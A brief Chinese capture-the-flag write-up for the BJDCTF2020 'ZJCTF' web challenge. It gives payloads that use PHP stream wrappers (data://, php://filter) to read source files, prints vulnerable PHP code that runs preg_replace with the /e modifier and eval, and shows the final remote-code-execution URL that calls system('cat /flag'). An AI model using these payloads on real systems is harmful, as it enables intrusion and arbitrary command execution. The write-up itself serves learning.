[BJDCTF2020]ZJCTF,不过如此 (preg_replace /e 模式下的代码漏洞问题)
写在前边
越来越感觉自己是酸菜鱼。。。全是知识盲区啊
题目在BUU上有复现
解题
直接给出源码
简单分析一下,$text要等于I have a dream,因为这里有===,所以用text/plain纯文本形式传入,包含了$file,没做过滤,可以用伪协议读取next.php
playload:
?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
base64解密一下,得到next.php源码
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
分析一下,注意 return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);具体分析 http://www.xinyueseo.com/websecurity/158.html
源码中有个getFlag(),可以利用
next.php?\S*=${getFlag()}&cmd=system('cat /flag');
参考链接
https://blog.csdn.net/weixin_44348894/article/details/105870899